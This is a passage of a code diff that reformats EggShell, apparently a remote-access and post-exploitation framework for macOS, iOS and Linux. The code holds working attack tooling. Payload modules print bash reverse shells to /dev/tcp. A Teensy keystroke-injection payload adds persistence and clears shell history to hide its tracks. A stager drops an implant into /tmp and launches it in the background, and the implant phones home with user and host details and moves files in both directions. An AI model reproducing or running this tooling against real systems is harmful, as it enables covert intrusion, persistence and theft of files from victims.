find_longest_common_prefix(values): def generate_keys(): - print "Initializing server..." + print("Initializing server...") if not os.path.exists(".keys"): os.makedirs(".keys") os.system( - "cd .keys;"+ - "openssl genrsa -out server.key 2048 2>/dev/null;"+ - "openssl req -new -key server.key -subj '/C=US/ST=EggShell/L=EggShell/O=EggShell/CN=EggShell' -out server.csr;"+ - "openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt 2>/dev/null") - - \ No newline at end of file + "cd .keys;" + + "openssl genrsa -out server.key 2048 2>/dev/null;" + + "openssl req -new -key server.key -subj '/C=US/ST=EggShell/L=EggShell/O=EggShell/CN=EggShell' -out server.csr;" + + "openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt 2>/dev/null") diff --git a/modules/multihandler.py b/modules/multihandler.py index 3c1f0fa..34fc9af 100644 --- a/modules/multihandler.py +++ b/modules/multihandler.py @@ -1,154 +1,147 @@ -from modules import helper as h -import threading, socket, time, sys +import socket +import sys +import threading +import time -class MultiHandler: - def __init__(self,server): - self.server = server - self.thread = None - self.sessions_id = dict() - self.sessions_uid = dict() - self.handle = h.COLOR_INFO + "MultiHandler" + h.ENDC + "> " - self.is_running = False - - - def update_session(self,current_session,new_session): - current_session.conn = new_session.conn - current_session.username = new_session.username - current_session.hostname = new_session.hostname - current_session.type = new_session.type - current_session.needs_refresh = False - sys.stdout.write("\n"+current_session.get_handle()) - sys.stdout.flush() - - - def background_listener(self): - self.server.is_multi = True - self.is_running = True - id_number = 1 - while 1: - if self.is_running: - session = self.server.listen_for_stager() - if session: - if session.uid in self.sessions_uid.keys(): - if self.sessions_uid[session.uid].needs_refresh: - self.update_session(self.sessions_uid[session.uid],session) - continue - else: - self.sessions_uid[session.uid] = session - self.sessions_id[id_number] = session - session.id = id_number - id_number += 1 - sys.stdout.write("\n{0}[*]{2} Session {1} opened{2}\n{3}".format(h.COLOR_INFO,str(session.id),h.WHITE,self.handle)) - sys.stdout.flush() - else: - return - - - def start_background_server(self): - self.thread = threading.Thread(target=self.background_listener) - self.thread.setDaemon(False) - self.thread.start() - - - def close_all_sessions(self): - h.info_general("Cleaning up...") - for key in self.sessions_id.keys(): - session = self.sessions_id[key] - session.disconnect(False) - - - def show_session(self,session): - try: - print str(session.id) + " | " +\ - session.username + "@" + session.hostname + " | " + \ - str(session.conn.getpeername()[0]) - except Exception as e: - h.info_error(str(e)) - - - def list_sessions(self): - if not self.sessions_id: - h.info_general("No active sessions") - else: - for key in self.sessions_id: - self.show_session(self.sessions_id[key]) - - - def interact_with_session(self,session_number): - if not session_number: - print "Usage: interact (session number)" - return - try: - self.sessions_id[int(session_number)].interact() - except: - h.info_error("Invalid Session") - - - def close_session(self,session_number): - if not session_number: - print "Usage: close (session number)" - return - try: - session = self.sessions_id[int(session_number)] - session.disconnect(False) - h.info_general('Closing session ' + session_number) - except Exception as e: - print e - h.info_error("Invalid Session") - - - def stop_server(self): - self.close_all_sessions() - self.is_running = False - if self.thread: - socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect((self.server.host,self.server.port)) - self.thread.join() - time.sleep(0.5) - - - def show_command(self,name,description): - print name + " " * (15 - len(name)) + ": " + description - - - def show_commands(self): - commands = [ - ("interact","interact with session"), - ("close","close active session"), - ("sessions","list sessions"), - ("exit","close all sessions and exit to menu"), - ] - print h.WHITEBU+"MultiHandler Commands:"+h.ENDC - for command in commands: - self.show_command(command[0],command[1]) - - - def interact(self): - h.info_general("Listening on port {0}...".format(self.server.port)) - h.info_general("Type \"help\" for commands") - while 1: - try: - input_data = raw_input(self.handle) - if not input_data: - continue - cmd = input_data.split()[0] - args = input_data[len(cmd):].strip() - if cmd == "interact": - self.interact_with_session(args) - elif cmd == "close": - self.close_session(args) - elif cmd == "sessions": - self.list_sessions() - elif cmd == "help": - self.show_commands() - elif cmd == "exit": - self.stop_server() - return - else: - h.info_error("Invalid Command: " + cmd) - - except KeyboardInterrupt: - sys.stdout.write("\n") - self.stop_server() - return +from modules import helper as h +class MultiHandler: + def __init__(self, server): + self.server = server + self.thread = None + self.sessions_id = dict() + self.sessions_uid = dict() + self.handle = h.COLOR_INFO + "MultiHandler" + h.ENDC + "> " + self.is_running = False + + def update_session(self, current_session, new_session): + current_session.conn = new_session.conn + current_session.username = new_session.username + current_session.hostname = new_session.hostname + current_session.type = new_session.type + current_session.needs_refresh = False + sys.stdout.write("\n" + current_session.get_handle()) + sys.stdout.flush() + + def background_listener(self): + self.server.is_multi = True + self.is_running = True + id_number = 1 + while 1: + if self.is_running: + session = self.server.listen_for_stager() + if session: + if session.uid in self.sessions_uid.keys(): + if self.sessions_uid[session.uid].needs_refresh: + self.update_session( + self.sessions_uid[session.uid], session) + continue + else: + self.sessions_uid[session.uid] = session + self.sessions_id[id_number] = session + session.id = id_number + id_number += 1 + sys.stdout.write("\n{0}[*]{2} Session {1} opened{2}\n{3}".format( + h.COLOR_INFO, str(session.id), h.WHITE, self.handle)) + sys.stdout.flush() + else: + return + + def start_background_server(self): + self.thread = threading.Thread(target=self.background_listener) + self.thread.setDaemon(False) + self.thread.start() + + def close_all_sessions(self): + h.info_general("Cleaning up...") + for key in self.sessions_id.keys(): + session = self.sessions_id[key] + session.disconnect(False) + + def show_session(self, session): + try: + print(str(session.id) + " | " + session.username + "@" + + session.hostname + " | " + str(session.conn.getpeername()[0])) + except Exception as e: + h.info_error(str(e)) + + def list_sessions(self): + if not self.sessions_id: + h.info_general("No active sessions") + else: + for key in self.sessions_id: + self.show_session(self.sessions_id[key]) + + def interact_with_session(self, session_number): + if not session_number: + print("Usage: interact (session number)") + return + try: + self.sessions_id[int(session_number)].interact() + except: + h.info_error("Invalid Session") + + def close_session(self, session_number): + if not session_number: + print("Usage: close (session number)") + return + try: + session = self.sessions_id[int(session_number)] + session.disconnect(False) + h.info_general('Closing session ' + session_number) + except Exception as e: + print(str(e)) + h.info_error("Invalid Session") + + def stop_server(self): + self.close_all_sessions() + self.is_running = False + if self.thread: + socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect( + (self.server.host, self.server.port)) + self.thread.join() + time.sleep(0.5) + + def show_command(self, name, description): + print(name + " " * (15 - len(name)) + ": " + description) + + def show_commands(self): + commands = [ + ("interact", "interact with session"), + ("close", "close active session"), + ("sessions", "list sessions"), + ("exit", "close all sessions and exit to menu"), + ] + print(h.WHITEBU + "MultiHandler Commands:" + h.ENDC) + for command in commands: + self.show_command(command[0], command[1]) + + def interact(self): + h.info_general("Listening on port {0}...".format(self.server.port)) + h.info_general("Type \"help\" for commands") + while 1: + try: + input_data = raw_input(self.handle) + if not input_data: + continue + cmd = input_data.split()[0] + args = input_data[len(cmd):].strip() + if cmd == "interact": + self.interact_with_session(args) + elif cmd == "close": + self.close_session(args) + elif cmd == "sessions": + self.list_sessions() + elif cmd == "help": + self.show_commands() + elif cmd == "exit": + self.stop_server() + return + else: + h.info_error("Invalid Command: " + cmd) + + except KeyboardInterrupt: + sys.stdout.write("\n") + self.stop_server() + return diff --git a/modules/payloads/bash_payload.py b/modules/payloads/bash_payload.py index 2fce1f1..b4e9ea3 100644 --- a/modules/payloads/bash_payload.py +++ b/modules/payloads/bash_payload.py @@ -1,11 +1,14 @@ from modules import helper as h + + class payload: - def __init__(self): - self.name = "bash" - self.description = "creates a bash payload" - self.usage = "run in terminal" + def __init__(self): + self.name = "bash" + self.description = "creates a bash payload" + self.usage = "run in terminal" - def run(self,server): - print h.WHITE + "-"*40 + h.ENDC - print h.COLOR_INFO+"bash &> /dev/tcp/"+server.host+"/"+str(server.port)+" 0>&1"+h.ENDC - print h.WHITE + "-"*40 + h.ENDC + def run(self, server): + print(h.WHITE + "-" * 40 + h.ENDC) + print(h.COLOR_INFO + "bash &> /dev/tcp/" + server.host + + "/" + str(server.port) + " 0>&1" + h.ENDC) + print(h.WHITE + "-" * 40 + h.ENDC) diff --git a/modules/payloads/teensy_payload.py b/modules/payloads/teensy_payload.py index 9f1eca4..79f4c5d 100644 --- a/modules/payloads/teensy_payload.py +++ b/modules/payloads/teensy_payload.py @@ -1,31 +1,37 @@ +import os +import time + from modules import helper as h -import os, time + class payload: - def __init__(self): - self.name = "Teensy macOS" - self.description = "arduino payload that replicates keystrokes for shell script execution" - self.usage = "install via arduino" + def __init__(self): + self.name = "Teensy macOS" + self.description = "arduino payload that replicates keystrokes for shell script execution" + self.usage = "install via arduino" - def run(self,server): - while 1: - persistence = raw_input(h.info_general_raw("Make Persistent? (y/N): ")).lower() - if persistence == "y": - shell_command = "while true; do $(bash &> /dev/tcp/"+str(server.host)+"/"+str(server.port)+" 0>&1); sleep 5; done & " - break - elif persistence == "n" or not persistence: - shell_command = "bash &> /dev/tcp/"+str(server.host)+"/"+str(server.port)+" 0>&1;" - break - else: - h.info_error("invalid option: " + persistence) + def run(self, server): + while 1: + persistence = raw_input(h.info_general_raw( + "Make Persistent? (y/N): ")).lower() + if persistence == "y": + shell_command = "while true; do $(bash &> /dev/tcp/" + str( + server.host) + "/" + str(server.port) + " 0>&1); sleep 5; done & " + break + elif persistence == "n" or not persistence: + shell_command = "bash &> /dev/tcp/" + \ + str(server.host) + "/" + str(server.port) + " 0>&1;" + break + else: + h.info_error("invalid option: " + persistence) - shell_command += "history -wc;killall Terminal" - if os.path.exists("payloads") == False: - os.mkdir("payloads") - if os.path.exists("payloads/teensy_macos") == False: - os.mkdir("payloads/teensy_macos") - payload_save_path = "payloads/teensy_macos/teensy_macos.ino" - payload = """\ + shell_command += "history -wc;killall Terminal" + if os.path.exists("payloads") == False: + os.mkdir("payloads") + if os.path.exists("payloads/teensy_macos") == False: + os.mkdir("payloads/teensy_macos") + payload_save_path = "payloads/teensy_macos/teensy_macos.ino" + payload = """\ #include "Keyboard.h" const int LED = 13; void setup() { @@ -43,7 +49,7 @@ def run(self,server): delay(1000); keyEnter(); delay(1000); - Keyboard.print(\""""+shell_command+"""\"); + Keyboard.print(\"""" + shell_command + """\"); keyEnter(); } @@ -61,9 +67,7 @@ def run(self,server): digitalWrite(LED, LOW); delay(100); }""" - f = open(payload_save_path,"w") - f.write(payload) - f.close() - h.info_general("Payload saved to " + payload_save_path) - - + f = open(payload_save_path, "w") + f.write(payload) + f.close() + h.info_general("Payload saved to " + payload_save_path) diff --git a/modules/server.py b/modules/server.py index a980244..5a82610 100644 --- a/modules/server.py +++ b/modules/server.py @@ -1,17 +1,23 @@ -import socket, ssl, os, json, sys +import binascii +import json +import os +import socket +import ssl +import sys + import helper as h import session -import binascii from multihandler import MultiHandler downloads_dir = "../downloads" + class Server: def __init__(self): if not os.path.isdir("downloads"): os.makedirs("downloads") self.macos_architectures = ["i386"] - self.ios_architectures = ["arm64","armv7s"] + self.ios_architectures = ["arm64", "armv7s"] self.host = None self.port = None self.debug = False @@ -19,11 +25,11 @@ def __init__(self): self.modules_macos = self.import_modules("modules/commands/macOS") self.modules_ios = self.import_modules("modules/commands/iOS") self.modules_local = self.import_modules("modules/commands/local") - self.modules_universal = self.import_modules("modules/commands/universal") + self.modules_universal = self.import_modules( + "modules/commands/universal") self.multihandler = MultiHandler(self) - - def import_modules(self,path): + def import_modules(self, path): sys.path.append(path) modules = dict() for mod in os.listdir(path): @@ -31,39 +37,41 @@ def import_modules(self,path): continue else: m = __import__(mod[:-3]).command() - #add module info to dictionary + # add module info to dictionary modules[m.name] = m return modules - - def get_modules(self,device_type): - if device_type == "macos": + def get_modules(self, device_type): + if device_type == "macos": result = self.modules_macos elif device_type == "iOS": result = self.modules_ios result.update(self.modules_universal) return result - def set_host_port(self): try: lhost = h.getip() lport = None - choice = raw_input(h.info_general_raw("SET LHOST (Leave blank for "+lhost+")>")) + choice = raw_input(h.info_general_raw( + "SET LHOST (Leave blank for " + lhost + ")>")) if choice != "": lhost = choice h.info_general("LHOST = " + lhost) while True: - lport = raw_input(h.info_general_raw("SET LPORT (Leave blank for 4444)>")) + lport = raw_input(h.info_general_raw( + "SET LPORT (Leave blank for 4444)>")) if not lport: lport = 4444 try: lport = int(lport) except ValueError: - h.info_general("invalid port, please enter a valid integer") + h.info_general( + "invalid port, please enter a valid integer") continue if lport < 1024: - h.info_general("invalid port, please enter a value >= 1024") + h.info_general( + "invalid port, please enter a value >= 1024") continue break h.info_general("LPORT = " + str(lport)) @@ -73,86 +81,82 @@ def set_host_port(self): except KeyboardInterrupt: return - - def verbose_print(self,text): + def verbose_print(self, text): if self.is_multi == False: h.info_general(text) - - def debug_print(self,text): + def debug_print(self, text): if self.debug: h.info_warning(text) - def start_single_handler(self): session = self.listen_for_stager() if session: session.interact() - def start_multi_handler(self): self.multihandler.start_background_server() self.multihandler.interact() - print "end start multihandler" + print("end start multihandler") - - def craft_payload(self,device_arch): + def craft_payload(self, device_arch): # TODO: Detect uid before we send executable if not self.host: raise ValueError('Server host not set') if not self.port: raise ValueError('Server port not set') - payload_parameter = h.b64(json.dumps({"ip":self.host,"port":self.port,"debug":self.debug})) + payload_parameter = h.b64(json.dumps( + {"ip": self.host, "port": self.port, "debug": self.debug})) if device_arch in self.macos_architectures: self.verbose_print("Detected macOS") f = open("resources/esplmacos", "rb") payload = f.read() f.close() - #save to tmp, + # save to tmp, instructions = \ - "cat >/private/tmp/tmpespl;"+\ - "chmod 777 /private/tmp/tmpespl;"+\ - "mv /private/tmp/tmpespl /private/tmp/espl;"+\ - "/private/tmp/espl "+payload_parameter+" 2>/dev/null &\n" - return (instructions,payload) + "cat >/private/tmp/tmpespl;" +\ + "chmod 777 /private/tmp/tmpespl;" +\ + "mv /private/tmp/tmpespl /private/tmp/espl;" +\ + "/private/tmp/espl " + payload_parameter + " 2>/dev/null &\n" + return (instructions, payload) elif device_arch in self.ios_architectures: self.verbose_print("Detected iOS") f = open("resources/esplios", "rb") payload = f.read() f.close() instructions = \ - "cat >/tmp/tmpespl;"+\ - "chmod 777 /tmp/tmpespl;"+\ - "mv /tmp/tmpespl /.espl;"+\ - "/.espl "+payload_parameter+" 2>/dev/null &\n" - return (instructions,payload) + "cat >/tmp/tmpespl;" +\ + "chmod 777 /tmp/tmpespl;" +\ + "mv /tmp/tmpespl /.espl;" +\ + "/.espl " + payload_parameter + " 2>/dev/null &\n" + return (instructions, payload) else: if device_arch == "Linux": self.verbose_print("Detected Linux") elif "GET / HTTP/1.1" in device_arch: - raise ValueError("EggShell does not exploit safari, it is a payload creation tool.\nPlease look at the README.md file") + raise ValueError( + "EggShell does not exploit safari, it is a payload creation tool.\nPlease look at the README.md file") else: h.info_general("Device unrecognized, trying python payload") f = open("resources/espl.py", "rb") payload = f.read() f.close() instructions = \ - "cat >/tmp/espl.py;"+\ - "chmod 777 /var/tmp/espl.py;"+\ - "python /tmp/espl.py "+payload_parameter+" &\n" - return (instructions,payload) - + "cat >/tmp/espl.py;" +\ + "chmod 777 /var/tmp/espl.py;" +\ + "python /tmp/espl.py " + payload_parameter + " &\n" + return (instructions, payload) def listen_for_stager(self): - #craft shell script + # craft shell script identification_shell_command = 'com=$(uname -p); if [ $com != "unknown" ]; then echo $com; else uname; fi\n' - - #listen for connection + + # listen for connection s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('0.0.0.0', self.port)) s.listen(1) - self.verbose_print("Listening on port "+str(self.port)+"...") + self.verbose_print("Listening on port " + str(self.port) + "...") try: conn, addr = s.accept() except KeyboardInterrupt: @@ -161,7 +165,7 @@ def listen_for_stager(self): # identify device hostAddress = addr[0] - self.verbose_print("Connecting to "+hostAddress) + self.verbose_print("Connecting to " + hostAddress) conn.send(identification_shell_command) device_arch = conn.recv(128).strip() if not device_arch: @@ -193,26 +197,22 @@ def listen_for_stager(self): h.info_error("Error: " + str(e)) return - - def listen_for_executable_payload(self,s): + def listen_for_executable_payload(self, s): # accept connection ssl_con, hostAddress = s.accept() s.settimeout(5) ssl_sock = ssl.wrap_socket(ssl_con, - server_side=True, - certfile=".keys/server.crt", - keyfile=".keys/server.key", - ssl_version=ssl.PROTOCOL_SSLv23) + server_side=True, + certfile=".keys/server.crt", + keyfile=".keys/server.key", + ssl_version=ssl.PROTOCOL_SSLv23) raw = ssl_sock.recv(256) device_info = json.loads(raw) - return session.Session(self,ssl_sock,device_info) - + return session.Session(self, ssl_sock, device_info) - def update_session(self,old_session): + def update_session(self, old_session): new_session = self.listen_for_stager() old_session.conn = new_session.conn old_session.hostname = new_session.hostname old_session.username = new_session.username old_session.type = new_session.type - - diff --git a/modules/session.py b/modules/session.py index a75a53c..a123453 100644 --- a/modules/session.py +++ b/modules/session.py @@ -1,240 +1,233 @@ -import json -import threading import base64 -import sys -import time import binascii +import json import os +import sys +import threading +import time + import modules.helper as h + try: - import readline + import readline except: - pass - -class Session: - def __init__(self,server,conn,device_info): - self.server = server - self.conn = conn - self.username = device_info['username'].encode("utf-8") - self.hostname = device_info['hostname'].encode("utf-8") - self.type = device_info['type'] - self.uid = device_info['uid'] - self.current_directory = device_info['current_directory'].encode("utf-8") - self.last_tab = None - self.needs_refresh = False - - - def interact(self): - """Interact with an active session""" - readline.clear_history() - readline.set_completer(self.tab_complete) - readline.parse_and_bind('tab: complete') - - command_modules = self.server.get_modules(self.type) - while 1: - try: - #prepare command - raw = raw_input(self.get_handle()) - if not raw or raw.replace(" ","") == "": - continue - cmd = raw.split()[0] - cmd_data = {"cmd": cmd, "args":raw[len(cmd) + 1:]} - - if self.needs_refresh: - # don't do anything if we are in the middle of updating session - pass - elif cmd == "exit": - self.disconnect(True) - return - elif cmd == "back" and self.server.is_multi: - return - elif cmd == "help": - self.show_commands() - elif cmd in command_modules.keys(): - command_modules[cmd].run(self,cmd_data) - elif cmd in self.server.modules_local.keys(): - self.server.modules_local[cmd].run(self,cmd_data) - else: - try: - result = self.send_command(cmd_data) - if result: - print result.rstrip() - except KeyboardInterrupt: - self.send_command({"cmd":"killtask"}) - except KeyboardInterrupt: - try: - print "" - if readline.get_line_buffer(): - continue - except: - pass - self.disconnect(True) - return - except Exception as e: - print e - - - def get_handle(self): - """Interact with an active session""" - if self.needs_refresh: - return h.info_general_raw("Waiting for connection...") - return h.GREEN + self.hostname + ":" + h.UNDERLINE_GREEN + self.current_directory + h.ENDC + " " + h.GREEN + self.username + "> " + h.ENDC - - - def tab_complete(self, text, state): - # TODO: tab complete 'ls ', use get_completer_delims - try: - is_double_tab = False - current_text = readline.get_line_buffer() - if self.last_tab and self.last_tab == current_text: - is_double_tab = True - self.last_tab = current_text - - # if no input do nothing - if not current_text: - return - # get last input - split_input = current_text.split()[-1] - - search_path = os.path.split(split_input)[0] - search_text = os.path.split(split_input)[1] - data = self.send_command({"cmd":"tab_complete","args":search_path if search_path else "."}) - results = json.loads(data) - - matched_keys = [] - if results: - keys = results.keys() - keys.sort() - # append / if it is a directory - for k in keys: - # continue if no match - if k.startswith(search_text): - matched_keys.append(k) - - # edge cases - if not matched_keys: - # don't do anything if we have no matches - return - elif len(matched_keys) == 1: - # if there is only 1 match and that match is a directory, append a '/' - readline.insert_text(matched_keys[0][len(search_text):]) - if matched_keys[0] in results: - if results[matched_keys[0]] == 4 or results[matched_keys[0]] == 10: - readline.insert_text("/") - readline.redisplay() - return - elif not is_double_tab: - # lcp of multiple matched - find = h.find_longest_common_prefix(matched_keys) - readline.insert_text(find[len(search_text):]) - readline.redisplay() - return - - print "" - for k in matched_keys: - if results[k] == 4: - print h.COLOR_INFO + k + h.ENDC - elif results[k] == 10: - print h.COLOR_INFO + k + h.ENDC - else: - print k - # back to where we are - sys.stdout.write(self.get_handle() + current_text) - except Exception as e: - print "\n error - " + str(e) - - - def show_commands(self): - print h.WHITEBU+"Local Commands:"+h.ENDC - names_local = self.server.modules_local.keys() - names_local.sort() - for key in names_local: - h.show_command(self.server.modules_local[key]) - - print "\n"+h.WHITEBU+"Device Commands:"+h.ENDC - command_modules = self.server.get_modules(self.type) - names = command_modules.keys() - names.sort() - for k in names: - h.show_command(command_modules[k]) - - - def send_command(self,cmd_data): - cmd_data["term"] = binascii.hexlify(os.urandom(8)) - self.sock_send(json.dumps(cmd_data)) - return self.sock_receive(cmd_data["term"]) - - - def download_file(self,path): - raw = self.send_command({"cmd":"download","args":path}) - result = json.loads(raw) - status = result['status'] - if status == 1: - if 'size' in result: - size = int(result['size']) - return self.sock_receive_data(size) - elif status == 0: - print path + ": No such file or directory" - elif status == 2: - print path + " is a directory" - - - def upload_file(self,file_path,remote_dir,remote_file_name): - term = binascii.hexlify(os.urandom(16)) - if os.path.exists(file_path): - f = open(file_path,"rb") - data = f.read() - size = len(data) - name = os.path.split(file_path)[-1] - cmd_data = json.dumps({"cmd":"upload","args":json.dumps({"size":size,"path":remote_dir,"filename":remote_file_name}),"term":term}) - self.sock_send(cmd_data) - for i in range((size / 1024) + 1): - deltax = i * 1024 - chunk = data[deltax:deltax + 1024] - self.sock_send(chunk) - self.sock_send(term) - else: - h.info_error("Local file: " + file_path + " does not exist") - - - def sock_send(self,data): - self.conn.send(data) - - - def sock_receive(self,term): - result = "" - while 1: - data = self.conn.recv(100).strip("\x00") - has_term = term in data - data = data.replace(term,"") - if data != "": - result += data - if has_term: - return result - - - def sock_receive_data(self,size): - term = binascii.hexlify(os.urandom(5)) - # here is the string son, hope you'll give it back - self.sock_send(term) - fdata = "" - while 1: - chunk = self.conn.recv(1024) - if term in chunk: - # thank you son - chunk = chunk.replace(term,'') - fdata += chunk - return fdata[:size] - fdata += chunk - - - def disconnect(self,verbose): - self.conn.close() - if verbose: - h.info_general("Closing session") - time.sleep(0.5) - if self.server.multihandler.is_running: - del self.server.multihandler.sessions_id[self.id] - del self.server.multihandler.sessions_uid[self.uid] + pass +class Session: + def __init__(self, server, conn, device_info): + self.server = server + self.conn = conn + self.username = device_info['username'].encode("utf-8") + self.hostname = device_info['hostname'].encode("utf-8") + self.type = device_info['type'] + self.uid = device_info['uid'] + self.current_directory = device_info['current_directory'].encode( + "utf-8") + self.last_tab = None + self.needs_refresh = False + + def interact(self): + """Interact with an active session""" + readline.clear_history() + readline.set_completer(self.tab_complete) + readline.parse_and_bind('tab: complete') + + command_modules = self.server.get_modules(self.type) + while 1: + try: + # prepare command + raw = raw_input(self.get_handle()) + if not raw or raw.replace(" ", "") == "": + continue + cmd = raw.split()[0] + cmd_data = {"cmd": cmd, "args": raw[len(cmd) + 1:]} + + if self.needs_refresh: + # don't do anything if we are in the middle of updating session + pass + elif cmd == "exit": + self.disconnect(True) + return + elif cmd == "back" and self.server.is_multi: + return + elif cmd == "help": + self.show_commands() + elif cmd in command_modules.keys(): + command_modules[cmd].run(self, cmd_data) + elif cmd in self.server.modules_local.keys(): + self.server.modules_local[cmd].run(self, cmd_data) + else: + try: + result = self.send_command(cmd_data) + if result: + print(result.rstrip()) + except KeyboardInterrupt: + self.send_command({"cmd": "killtask"}) + except KeyboardInterrupt: + try: + print("") + if readline.get_line_buffer(): + continue + except: + pass + self.disconnect(True) + return + except Exception as e: + print(str(e)) + + def get_handle(self): + """Interact with an active session""" + if self.needs_refresh: + return h.info_general_raw("Waiting for connection...") + return h.GREEN + self.hostname + ":" + h.UNDERLINE_GREEN + self.current_directory + h.ENDC + " " + h.GREEN + self.username + "> " + h.ENDC + + def tab_complete(self, text, state): + # TODO: tab complete 'ls ', use get_completer_delims + try: + is_double_tab = False + current_text = readline.get_line_buffer() + if self.last_tab and self.last_tab == current_text: + is_double_tab = True + self.last_tab = current_text + + # if no input do nothing + if not current_text: + return + # get last input + split_input = current_text.split()[-1] + + search_path = os.path.split(split_input)[0] + search_text = os.path.split(split_input)[1] + data = self.send_command( + {"cmd": "tab_complete", "args": search_path if search_path else "."}) + results = json.loads(data) + + matched_keys = [] + if results: + keys = results.keys() + keys.sort() + # append / if it is a directory + for k in keys: + # continue if no match + if k.startswith(search_text): + matched_keys.append(k) + + # edge cases + if not matched_keys: + # don't do anything if we have no matches + return + elif len(matched_keys) == 1: + # if there is only 1 match and that match is a directory, append a '/' + readline.insert_text(matched_keys[0][len(search_text):]) + if matched_keys[0] in results: + if results[matched_keys[0]] == 4 or results[matched_keys[0]] == 10: + readline.insert_text("/") + readline.redisplay() + return + elif not is_double_tab: + # lcp of multiple matched + find = h.find_longest_common_prefix(matched_keys) + readline.insert_text(find[len(search_text):]) + readline.redisplay() + return + + print("") + for k in matched_keys: + if results[k] == 4: + print(h.COLOR_INFO + k + h.ENDC) + elif results[k] == 10: + print(h.COLOR_INFO + k + h.ENDC) + else: + print(k) + # back to where we are + sys.stdout.write(self.get_handle() + current_text) + except Exception as e: + print(str(e)) + + def show_commands(self): + print(h.WHITEBU + "Local Commands:" + h.ENDC) + names_local = self.server.modules_local.keys() + names_local.sort() + for key in names_local: + h.show_command(self.server.modules_local[key]) + + print("\n" + h.WHITEBU + "Device Commands:" + h.ENDC) + command_modules = self.server.get_modules(self.type) + names = command_modules.keys() + names.sort() + for k in names: + h.show_command(command_modules[k]) + + def send_command(self, cmd_data): + cmd_data["term"] = binascii.hexlify(os.urandom(8)) + self.sock_send(json.dumps(cmd_data)) + return self.sock_receive(cmd_data["term"]) + + def download_file(self, path): + raw = self.send_command({"cmd": "download", "args": path}) + result = json.loads(raw) + status = result['status'] + if status == 1: + if 'size' in result: + size = int(result['size']) + return self.sock_receive_data(size) + elif status == 0: + print(path + ": No such file or directory") + elif status == 2: + print(path + " is a directory") + + def upload_file(self, file_path, remote_dir, remote_file_name): + term = binascii.hexlify(os.urandom(16)) + if os.path.exists(file_path): + f = open(file_path, "rb") + data = f.read() + size = len(data) + name = os.path.split(file_path)[-1] + cmd_data = json.dumps({"cmd": "upload", "args": json.dumps( + {"size": size, "path": remote_dir, "filename": remote_file_name}), "term": term}) + self.sock_send(cmd_data) + for i in range((size / 1024) + 1): + deltax = i * 1024 + chunk = data[deltax:deltax + 1024] + self.sock_send(chunk) + self.sock_send(term) + else: + h.info_error("Local file: " + file_path + " does not exist") + + def sock_send(self, data): + self.conn.send(data) + + def sock_receive(self, term): + result = "" + while 1: + data = self.conn.recv(100).strip("\x00") + has_term = term in data + data = data.replace(term, "") + if data != "": + result += data + if has_term: + return result + + def sock_receive_data(self, size): + term = binascii.hexlify(os.urandom(5)) + # here is the string son, hope you'll give it back + self.sock_send(term) + fdata = "" + while 1: + chunk = self.conn.recv(1024) + if term in chunk: + # thank you son + chunk = chunk.replace(term, '') + fdata += chunk + return fdata[:size] + fdata += chunk + + def disconnect(self, verbose): + self.conn.close() + if verbose: + h.info_general("Closing session") + time.sleep(0.5) + if self.server.multihandler.is_running: + del self.server.multihandler.sessions_id[self.id] + del self.server.multihandler.sessions_uid[self.uid] diff --git a/resources/espl.py b/resources/espl.py index 52d9dd6..765668f 100644 --- a/resources/espl.py +++ b/resources/espl.py @@ -1,7 +1,15 @@ #!/usr/bin/python -from uuid import getnode as get_mac -import json, os, base64, sys, socket, ssl, getpass, subprocess +import base64 +import getpass +import json +import os +import socket +import ssl +import subprocess +import sys from os.path import expanduser +from uuid import getnode as get_mac + home = expanduser("~") os.chdir(home) # setup @@ -14,165 +22,165 @@ # Send computer name username = getpass.getuser() sock.send(json.dumps({ - "username":username, - "hostname":socket.gethostname(), - "uid": str(get_mac()), - "current_directory": os.getcwd(), - "type": "linux" + "username": username, + "hostname": socket.gethostname(), + "uid": str(get_mac()), + "current_directory": os.getcwd(), + "type": "linux" })) def change_dir(cmd_data): - path = cmd_data['args'] - try: - result = dict() - if not path: - os.chdir(home) - elif os.path.exists(path) == False: - result = {'error':path + ": No such file or directory"} - elif os.path.isdir(path) == False: - result = {'error':path + ": Is a file"} - else: - os.chdir(path) - if not 'error' in result: - result['current_directory'] = os.getcwd() - except Exception as e: - result = {'error':str(e)} - sock.send(json.dumps(result)) - sock.send(cmd_data['term']) + path = cmd_data['args'] + try: + result = dict() + if not path: + os.chdir(home) + elif os.path.exists(path) == False: + result = {'error': path + ": No such file or directory"} + elif os.path.isdir(path) == False: + result = {'error': path + ": Is a file"} + else: + os.chdir(path) + if not 'error' in result: + result['current_directory'] = os.getcwd() + except Exception as e: + result = {'error': str(e)} + sock.send(json.dumps(result)) + sock.send(cmd_data['term']) def pwd(cmd_data): - sock.send(os.getcwd()) - sock.send(cmd_data['term']) + sock.send(os.getcwd()) + sock.send(cmd_data['term']) def pid(cmd_data): - sock.send(str(os.getpid())) - sock.send(cmd_data['term']) + sock.send(str(os.getpid())) + sock.send(cmd_data['term']) def list_dir(cmd_data): - path = cmd_data['args'] - results = dict() - if not path: - path = "." - if os.path.exists(path) == False: - sock.send(path + ": No such file or directory") - else: - result = "" - try: - for v in os.listdir(path): - if os.path.isdir(os.path.join(path,v)): - results[v] = 10 - else: - results[v] = 0 - sock.send(json.dumps(results)) - except Exception as e: - sock.send(str(e)) - sock.send(cmd_data['term']) + path = cmd_data['args'] + results = dict() + if not path: + path = "." + if os.path.exists(path) == False: + sock.send(path + ": No such file or directory") + else: + result = "" + try: + for v in os.listdir(path): + if os.path.isdir(os.path.join(path, v)): + results[v] = 10 + else: + results[v] = 0 + sock.send(json.dumps(results)) + except Exception as e: + sock.send(str(e)) + sock.send(cmd_data['term']) def tab_complete(cmd_data): - path = cmd_data['args'] - results = {} - try: - for v in os.listdir(path): - if os.path.isdir(os.path.join(path,v)): - results[v] = 10 - else: - results[v] = 0 - except OSError: - pass - sock.send(json.dumps(results)) - sock.send(cmd_data['term']) + path = cmd_data['args'] + results = {} + try: + for v in os.listdir(path): + if os.path.isdir(os.path.join(path, v)): + results[v] = 10 + else: + results[v] = 0 + except OSError: + pass + sock.send(json.dumps(results)) + sock.send(cmd_data['term']) def send_file(cmd_data): - path = cmd_data['args'] - if os.path.exists(path): - if os.path.isdir(path): - sock.send(json.dumps({"status":2})) - else: - f = open(path,"rb") - data = f.read() - sock.send(json.dumps({"status":1,"size":len(data)})) - 